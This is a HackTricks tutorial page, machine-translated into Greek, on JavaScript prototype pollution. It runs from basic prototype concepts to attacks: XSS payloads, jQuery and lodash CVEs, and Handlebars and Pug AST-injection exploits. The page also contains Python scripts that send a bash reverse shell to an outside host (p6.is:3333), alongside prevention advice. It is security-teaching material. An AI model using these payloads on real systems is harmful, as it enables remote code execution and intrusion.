NodeJS - __proto__ & prototype Pollution

Support HackTricks

Objects in JavaScript

Τα αντικείμενα στην JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιού-τιμής, γνωστές ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας το Object.create με null ως επιχείρημα για να παραχθεί ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς κληρονομούμενες ιδιότητες.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως {}.

Συναρτήσεις και Κλάσεις στην JavaScript

Στην JavaScript, οι κλάσεις και οι συναρτήσεις είναι στενά συνδεδεμένες, με τις συναρτήσεις συχνά να λειτουργούν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενών υποστηρίξεων κλάσης στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσης.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes in JavaScript

Η JavaScript επιτρέπει την τροποποίηση, προσθήκη ή διαγραφή χαρακτηριστικών πρωτοτύπου κατά την εκτέλεση. Αυτή η ευελιξία επιτρέπει τη δυναμική επέκταση των λειτουργιών της κλάσης.

Συναρτήσεις όπως toString και valueOf μπορούν να τροποποιηθούν για να αλλάξουν τη συμπεριφορά τους, αποδεικνύοντας τη προσαρμοστική φύση του συστήματος πρωτοτύπων της JavaScript.

Inheritance

Στον προγραμματισμό με βάση τα πρωτότυπα, οι ιδιότητες/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας ιδιότητες/μεθόδους είτε σε μια παρουσία άλλης κλάσης είτε σε ένα κενό αντικείμενο.

Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το myPersonObj), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν προσκληθεί ρητά.

__proto__ pollution

Exploring Prototype Pollution in JavaScript

Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο αντικειμένου JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου του αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.

Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να το απεικονίσουμε:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Η πρόσβαση στο πρωτότυπο του αντικειμένου είναι δυνατή μέσω:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Με την προσθήκη ιδιοτήτων στο πρωτότυπο του Object, κάθε αντικείμενο JavaScript θα κληρονομήσει αυτές τις νέες ιδιότητες:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

prototype pollution

Για ένα σενάριο όπου η χρήση του __proto__ είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Αυτό επηρεάζει μόνο τα αντικείμενα που δημιουργούνται από τον κατασκευαστή Vehicle, δίνοντάς τους τις ιδιότητες beep, hasWheels, honk και isElectric.

Δύο μέθοδοι για να επηρεάσουν παγκοσμίως τα αντικείμενα JavaScript μέσω της ρύπανσης πρωτοτύπου περιλαμβάνουν:

  1. Ρύπανση του Object.prototype άμεσα:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Μολύνοντας το πρωτότυπο ενός κατασκευαστή για μια κοινώς χρησιμοποιούμενη δομή:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Μετά από αυτές τις λειτουργίες, κάθε αντικείμενο JavaScript μπορεί να εκτελέσει τις μεθόδους goodbye και greet.

Μολύνοντας άλλα αντικείμενα

Από μια κλάση στο Object.prototype

Σε ένα σενάριο όπου μπορείτε να μολύνετε ένα συγκεκριμένο αντικείμενο και χρειάζεστε να φτάσετε στο Object.prototype μπορείτε να το αναζητήσετε με κάτι σαν τον παρακάτω κώδικα:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Ρύπανση στοιχείων πίνακα

Σημειώστε ότι καθώς μπορείτε να ρυπαίνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάτε έναν πίνακα μπορείτε επίσης να ρυπάτε τις τιμές του πίνακα που είναι προσβάσιμες μέσω δεικτών (σημειώστε ότι δεν μπορείτε να επαναγράψετε τιμές, οπότε πρέπει να ρυπάρετε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html elements pollution

Όταν δημιουργείτε ένα HTML στοιχείο μέσω JS, είναι δυνατόν να επικαλύψετε την innerHTML ιδιότητα για να γράψετε τυχαίο HTML κώδικα. Ιδέα και παράδειγμα από αυτή τη συγγραφή.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Παραδείγματα

Βασικό Παράδειγμα

Μια ρύπανση πρωτοτύπου συμβαίνει λόγω ενός σφάλματος στην εφαρμογή που επιτρέπει την επαναγραφή ιδιοτήτων στο Object.prototype. Αυτό σημαίνει ότι καθώς οι περισσότερες αντικείμενα αντλούν τις ιδιότητές τους από το Object.prototype

Το πιο απλό παράδειγμα είναι να προσθέσετε μια τιμή σε μια μη καθορισμένη ιδιότητα ενός αντικειμένου που πρόκειται να ελεγχθεί, όπως:

if (user.admin) {

Αν το χαρακτηριστικό admin είναι μη καθορισμένο είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι σαν:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Ο μηχανισμός πίσω από αυτό περιλαμβάνει την παραποίηση ιδιοτήτων έτσι ώστε αν ένας επιτιθέμενος έχει έλεγχο σε ορισμένες εισόδους, να μπορεί να τροποποιήσει το πρωτότυπο όλων των αντικειμένων στην εφαρμογή. Αυτή η παραποίηση συνήθως περιλαμβάνει την ρύθμιση της ιδιότητας __proto__, η οποία, στην JavaScript, είναι συνώνυμη με την άμεση τροποποίηση του πρωτοτύπου ενός αντικειμένου.

Οι συνθήκες υπό τις οποίες αυτή η επίθεση μπορεί να εκτελεστεί με επιτυχία, όπως περιγράφεται σε μια συγκεκριμένη μελέτη, περιλαμβάνουν:

  • Εκτέλεση αναδρομικής συγχώνευσης.

  • Ορισμός ιδιοτήτων με βάση μια διαδρομή.

  • Κλωνοποίηση αντικειμένων.

Override function

customer.__proto__.toString = ()=>{alert("polluted")}

Πλημμύρα Πρωτοτύπου σε RCE

Prototype Pollution to RCE

Άλλες payloads:

Πλημμύρα Πρωτοτύπου από την πλευρά του πελάτη σε XSS

Client Side Prototype Pollution

CVE-2019–11358: Επίθεση πλημμύρας πρωτοτύπου μέσω jQuery $ .extend

Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο Στην jQuery, η συνάρτηση $ .extend μπορεί να οδηγήσει σε πλημμύρα πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν οι ιδιότητες όπως το isAdmin ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.

CVE-2018–3721, CVE-2019–10744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash

Για περισσότερες λεπτομέρειες, ελέγξτε αυτό το άρθρο

Lodash αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11.

Ένα άλλο σεμινάριο με CVEs

Εργαλεία για την ανίχνευση μόλυνσης πρωτοτύπου

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Επέκταση του Burp Suite σχεδιασμένη για την ανίχνευση και ανάλυση ευπαθειών μόλυνσης πρωτοτύπου στον διακομιστή σε διαδικτυακές εφαρμογές. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για την αναγνώριση πιθανών ζητημάτων μόλυνσης πρωτοτύπου. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της μόλυνσης πρωτοτύπου για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js.

  • server-side-prototype-pollution: Αυτή η επέκταση αναγνωρίζει ευπάθειες μόλυνσης πρωτοτύπου στον διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην μόλυνση πρωτοτύπου στον διακομιστή.

AST Prototype Pollution in NodeJS

Το NodeJS χρησιμοποιεί εκτενώς τα Abstract Syntax Trees (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξερευνά τις ευπάθειες που σχετίζονται με τη μόλυνση πρωτοτύπου σε μηχανές προτύπων, συγκεκριμένα τις Handlebars και Pug.

Ανάλυση Ευπάθειας Handlebars

Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο javascript-compiler.js. Η συνάρτηση appendContent, για παράδειγμα, συνενώνει το pendingContent εάν είναι παρόν, ενώ η συνάρτηση pushSource επαναφέρει το pendingContent σε undefined μετά την προσθήκη της πηγής.

Διαδικασία Εκμετάλλευσης

Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα:

  1. Manipulation of the Parser: Αρχικά, ο αναλυτής, μέσω του κόμβου NumberLiteral, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών.

  2. Handling by the Compiler: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Εάν το input.type ισούται με Program, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί.

  3. Injection of Code: Μέσω της χειραγώγησης του Object.prototype, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα.

Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Αυτός ο κώδικας δείχνει πώς ένας επιτιθέμενος θα μπορούσε να εισάγει αυθαίρετο κώδικα σε ένα πρότυπο Handlebars.

Εξωτερική Αναφορά: Ένα ζήτημα που σχετίζεται με τη ρύπανση πρωτοτύπου βρέθηκε στη βιβλιοθήκη 'flat', όπως αναλύεται εδώ: Ζήτημα στο GitHub.

Εξωτερική Αναφορά: Ζήτημα που σχετίζεται με τη ρύπανση πρωτοτύπου στη βιβλιοθήκη 'flat'

Παράδειγμα εκμετάλλευσης ρύπανσης πρωτοτύπου σε Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπων. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για την AST Injection in Pug.

Example of prototype pollution in Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Προληπτικά Μέτρα

Για να μειωθεί ο κίνδυνος μόλυνσης του πρωτοτύπου, μπορούν να εφαρμοστούν οι παρακάτω στρατηγικές:

  1. Αμεταβλητότητα Αντικειμένων: Το Object.prototype μπορεί να γίνει αμετάβλητο εφαρμόζοντας το Object.freeze.

  2. Επικύρωση Εισόδου: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής.

  3. Ασφαλείς Συναρτήσεις Συγχώνευσης: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται.

  4. Αντικείμενα Χωρίς Πρωτότυπα: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το Object.create(null).

  5. Χρήση Χάρτη: Αντί για το Object, θα πρέπει να χρησιμοποιείται ο Map για την αποθήκευση ζευγών κλειδιού-τιμής.

  6. Ενημερώσεις Βιβλιοθηκών: Οι διορθώσεις ασφαλείας μπορούν να ενσωματωθούν με τακτικές ενημερώσεις βιβλιοθηκών.

  7. Εργαλεία Linter και Στατικής Ανάλυσης: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για την ανίχνευση και πρόληψη ευπαθειών μόλυνσης πρωτοτύπου.

  8. Ανασκοπήσεις Κώδικα: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου.

  9. Εκπαίδευση Ασφαλείας: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.

  10. Χρήση Βιβλιοθηκών με Προσοχή: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα.

  11. Προστασία Χρόνου Εκτέλεσης: Χρησιμοποιήστε μηχανισμούς προστασίας χρόνου εκτέλεσης, όπως τη χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης πρωτοτύπου.

Αναφορές

Support HackTricks

Last updated